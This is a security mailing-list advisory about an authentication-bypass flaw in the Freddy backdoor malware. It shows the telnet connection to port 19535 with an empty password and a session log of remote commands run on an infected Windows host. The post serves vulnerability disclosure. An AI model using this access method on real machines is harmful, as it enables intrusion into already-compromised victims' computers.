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Date: Tue, 8 Feb 2022 22:17:23 -0500
From: malvuln <>
Subject: [FD] Backdoor.Win32.Freddy.2001 / Authentication Bypass Command

Discovery / credits: Malvuln - (c) 2022
Original source:

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders
who can reach an infected host can gain access using an empty password and
run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User:               Victim

Computer net name:  DESKTOP-2C3JQHO
IP address:
Local date & time:  2/3/2022 2:45:46 AM
Hackers connected:  2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon> windows

Window 6976: dump

Window 6976: tmp

Window 1956: Administrator: Administrator Command Prompt

Window 6976: Program Manager
Sycon> cd \

CD: C:\

Sycon> dir

Found: $Recycle.Bin

Found: Boot

Found: bootmgr

Sycon> exec calc

Sycon> logoff

Windows is going down...

I'm killed!


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